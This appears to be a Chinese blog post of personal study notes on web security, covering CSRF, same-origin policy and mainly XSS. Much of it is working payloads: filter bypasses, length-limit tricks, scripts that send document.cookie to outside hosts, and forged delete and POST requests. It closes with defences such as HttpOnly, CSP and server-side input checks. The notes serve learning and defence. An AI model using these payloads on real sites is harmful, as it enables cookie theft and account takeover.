web 安全学习

漏洞知识库:

1  CSRF 跨站请求伪造 学习

crossdomain.xml 文件来验证是否允许客户端的flash 跨域发送请求,使用的是白名单的思想

使用 token 足够复杂来防御

同源政策

a.com 通过 <script src=http://b.com/b.js></script> 加载了b.com 的b.js 但是b.js 是运行在a.com 页面的所以对于a.com来说,b.js的源就应该是a.com而非b.com

<script> <img> <iframe> <link> 等标签都可以跨域加载资源而不受同源政策的限制,这些带<src> 属性的标签加载时实际上就是由浏览器发起了一次 GET请求

不同于 XMLHttpRequest 的是,通过src 属性加载的资源,浏览器限制了 JAVASCRIPT的权限,使其不能读写返回的内容

flash 通过目标网站提供的crossdomain.xml文件判断是否允许当前“源”的flash跨域访问目标资源,eg:

当浏览器在任意其他域的页面里加载了FLASH后,如果对www.qq.com发起访问请求,flash会先检查 www.qq.com 上此策略文件是否存在。如果文件存在,则检查发起请求的域是否在许可范围内。

在flash 9及其以后的版本中,还实现了MIME检查以确认crossdomain.xml是否合法,如查看服务器返回的HTTP头等信息,FLASH还会检查 crossdomain.xml是否存在根目录下,使得一些上传文件攻击失效



2 XSS 学习  CROSS SITE SCRIPT

XXS 构造技巧

检测是否出现 <script>alert("xss")</script>

<iframe onload=alert(document.cookie)>

 <script>alert("xss");</script>

<img src=x onerror=alert(1)>

xxx<script>alert(/xss/);</script>

javascript:alert(document.cookie);

"><img src="a" onerror="prompt">

<div style="background:url('javascript:alert(1)')">


%c1";alert(/xss/);//     系统转义了" , 接着%c1   这两个字符组合在一起后,会成为一个UNICODE字符 从而绕过系统安全检查


学习突破字数限制

限制20字节类型,<input type=text value="xxx" /> 利用事件输入 " onclick=alert(1)//     实际为 <input type=text value="" onclick=alert(1)//">


首先先发一篇标题为:”>/*</script>
再发一篇标题为:"><script>alert(/Jin/)/*
拼凑起来 <script>alert(/XSS/)/*xxxxxx*/</script>


同样的思想,可以在限制字符时,第一个文本框小,第二个文本框大,那么直接在两个文本框之间的html代码全部注释掉,从而”打通“两个<input>

第一个输入  "><!--_(空格)  只有6字节     第二个输入  --><script>alert(/xss/);</script>


可以加载其他可控的安全数据位置的数据,EG:

<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>

如果没有这些数据,就通过在URL的尾部参数构造要执行的代码,然后在XSS点通过document.URL/location.href等方式获得代码数据执行

http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>

30字节 (上)    或者  31字节 (下)

<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>

 或者 29字节 (下)

<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>

 或者 30字节 (下)

<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>

或者更少  说明在下面

<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>

location.hash 可以用来获取或设置页面的标签值,不会在HTTP包中发送,所以服务器端的WEB日志中并不会记录下 location.hash 里的内容,从而也更好地隐藏了hacker的意图
<input type=text value="xxx" />  输入40字节 " onclick="eval(location.hash.substr(1)) 

得到 <input type=text value="" onclick="eval(location.hash.substr(1))" /> 

#是用来指导浏览器动作的,对服务器端完全无用。所以,HTTP请求中不包括#。

因为location.hash 的第一个值 为 # ,所以构造 url 为 www.xxx.com/test.html#alert(xss)

所以这里的 XSS PAYLOAD 是写在 浏览器的地址栏的。可以直接写在url,也可以利用其它平台上文件来写


还有可以关注函数

function loads(url) {
...
document.body.appendChild(script);
}
<limited_xss_point>loads(http://xxx.com/x);</limited_xss_point>

其他了解

<base> 是个非常危险的标签,如果在页面上插入了它,那么就可以在远程主机上伪造图片,链接或者脚本了(从标签指定的网址上取得到).


window.name  可以实现跨域传输,那么构造 

window.name = "alert(document.cookie)";

location.href = "http://www.xxx.com/xss.php" 只需通过XSS执行 eval(name); 只有11字节


flash XSS  ,Action script 是一种非常强大和灵活的脚本,甚至可以使用它发起网络连接,因此应该尽可能地禁止用户能够上传加载自定义的FLASH文件

<embed> 标签定义嵌入的内容,比如插件。 <embed src="http://xxx.com/evil.swf"> </embed>




发现地方 处写上    57字节

</textarea>'"><script src=http://xssan.com/9AM3zw?1410919704></script>

即可发送COOKIE 到指定网站



<img src="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" kesrc="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" width="401" height="604" title="111111111" alt="111111111">


title 和 alt 被赋值为11111111 那么赋值它
"><img src=1 onerror=alert(document.cookie)>
之后:
<img src="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" kesrc="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" title="">
<img src="1" onerror="alert(document.cookie)">


对于畸形URL的处理 IE中www.google.comabc 会变成 www.google.com/abc  同源行为还有chrome 但是firefox却不如此解析

还有 www.google?abc firefox ie chrome都会认识 为www.google.com/?abc


反射型XSS

简单的把用户输入的数据“反射”给浏览器,需要诱使用户 “点击” 一个恶意链接才能攻击成功, 也叫非持久型XSS


存储型XSS

把用户输入的数据“存储”在服务器端,这种XSS具有很强的稳定性,也叫做持久型XSS


DOM Based XSS

也是反射型 XSS,形成原因比较特殊,通过修改页面的DOM节点形成的XSS 

<a href= 'str' >XXXXX信息</a>  1输入str 那么 输入  ' onlick=alert(/xss/) //

<a href= ' ' onlick=alert(/xss/) //' >XXXXX信息</a>

2 还可以输入 '><img src=# onerror=alert(/xss2/) /><'

<a href= ' '><img src=# onerror=alert(/xss2/) /><'' >XXXXX信息</a> 




XSS payload   学习:

简单窃取cookie

var img = document.createElement("img");
img.src = "http://www.xxx.com/log?"+escape(document.cookie);
document.body.appendChild(img);

http://www.xxx.com/log不一定存在,因为web 日志服务有留下记录


登陆网站 切换COOKIE 可以 用edit coookie 和其他, 之所以可以登陆是当前WEB中 COOKIE一般是用户登陆的凭证,浏览器发起的所有请求都会自动带上CCOOKIE。如果COOKIE 没有绑定客户端信息,那么攻击者窃取了COOKIE后就可以不用密码登录进用户的账户


COOKIE劫持 当出现 SetCookie时给关键COOKIE植入 httpOnly标示,有的网站则可能会把COOKIE与客户端IP绑定,从而使得XSS窃取的COOKIE失去意义


实际利用:1)删除文章,构造一个GET请求, 然后让博客主人执行这段JS代码,就会把这篇文章删除

var img = document.createElement("img");
img.src = "http://www.xxx.com/xx.do?m=delete&id=xxxxx";
document.body.appendChild(img);

2.1) 构造 POST 型 XSS PAYLOAD 
在XSS平台上构造  一个POST 文件 1(文件名) , 这里例子最重要是ck=JiUY      mb_text=评论值

var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML= '<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" value="JiUY" name="ck" />'+
'<input type="text" value="testtesttest" name="mb_text" />'+
'</form>'

document.getElementById("xssform").submit();

构造XSS PAYLOAD  即可  <script>xxx.com/1</script>
2.2) 另一种方式:

var url = "http://www.xxx.com";
var postStr = "ck=JiUY&mb_text=test1234"

var ajax =null;
if (window.ajaxRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  ajax=new ajaxRequest();
  }
else
  {// code for IE6, IE5
  ajax=new ActiveXObject("Microsoft.ajax");
  }

ajax.open("POST",url,true);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send(postStr);

ajax.onreadystatechange = function()
{
	if(ajax.readyState == 4 && ajax.status == 200)
		{
			alert("Done!");
		}
}


如果需要输入验证码   那么就完蛋了、·······一般的XSS 都会失效·············

那么就要想到 得到对方的 验证码图片


识别用户浏览器,植入木马等,识别用户安装的软件,获取用户真实IP,

alert(navigator.userAgent)  得到对方的 OS,浏览器版本,语言,但这不是准确的

网上有检测浏览器版本的JS代码  

BEEF  ,XSS-PROXY  可以拿下 内网主机~~~~  use auxiliary/server/browser_autopwn  可以检查浏览器漏洞


解决办法

补充: 一个COOKIE的使用过程:

1)浏览器发起请求,则还是没有COOKIE

2)服务器返回时发送 SET COOKIE 头 ,向客户端浏览器写入 COOKIE

3)在该 COOKIE 到期前,浏览器访问该域下的所有页面,都将发送该COOKIE


HTTP-only cookie。包含在HTTP-only cookie中的任何信息暴露给黑客或者恶意网站的几率将会大大降低。下面是设置HTTP-only cookie的一个报头的示例: 
Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly            可以防止“COOKIE劫持”

最早由微软提出,IE6中,浏览器讲禁止页面JS访问带有 HTTP-ONLY属性的COOKIE

HTTP ONLY 是在 SET-COOKIE 时标记的, 需要注意可能有多个 COOKIE,而 HTTP-ONLY 可以有选择性地加在任何一个 COOKIE 上

在某些情况,多个 COOKIE  ,HTTP-ONLY 只标记给用于认证的关键 COOKIE


(已经被修补)绕过可以利用 apache 支持的TRACE 一般用于调试,会讲请求头作为HTTP RESPONSE 返回


firefox第一个提出CSP  做法是由服务器返回一个HTTP头,并在其中描述页面应该遵循的安全策略,XSS攻击在没有第三方插件帮助情况下,无法控制HTTP头,所以这项措施是可行的。使用CSP 的方法如下,插入一个HTTP返回头:

X-Content-Security-Policy:policy  比如:

X-Content-Security-Policy:policy: allow 'self' *.mydomain.com

浏览器新人来自mydomain.com及其子域的内容

NoScript 扩展

NoScript 1.1.4.7版公开发布,新增了一个客户端级的保护,针对类型0和类型1的XSS攻击。一旦一个页面试图将HTML或是JavaScript代码插入另一个页面,NoScript就会过滤掉有害请求,抵消这些危害。

2007年4月11日,NoScript 可以根据您的选择,只允许受信任的网站启用JavaScript、Java 或其他插件

2008年9月15日,NoScript 1.8.1版公开发布,使得用户可以强制某些网站必须通过https访问,增加安全性。此外NoScript也可以强制https网站把Cookies加密来阻止Cookies劫持。

2009年9月23日,NoScript 1.9.8.9版增加了对STS的支持。这一功能使得用户在访问支持的网站(例如,PayPal)的时候自动只通过HTTPS访问,使得中间人攻击变得非常困难。


IE8 XSS Filter   但是已经被绕过了 http://www.80sec.com/ie8-xssfilter-bypass.html

.php?c=<script>alert()</script>
.php?c=%c1<script>alert()</script> 绕过


输入检查吗,输入检查的逻辑必须放在服务器端的代码上,。如果只是客户端的JS进行输入检查,很容易就被攻击者绕过了,JS客户端检查可以节约服务器资源。。比较稚嫩的可以检查是否有<script>,javascript等敏感字符,这种可以称为XSS Filter


  

























原文地址:https://www.cnblogs.com/zcc1414/p/3982609.html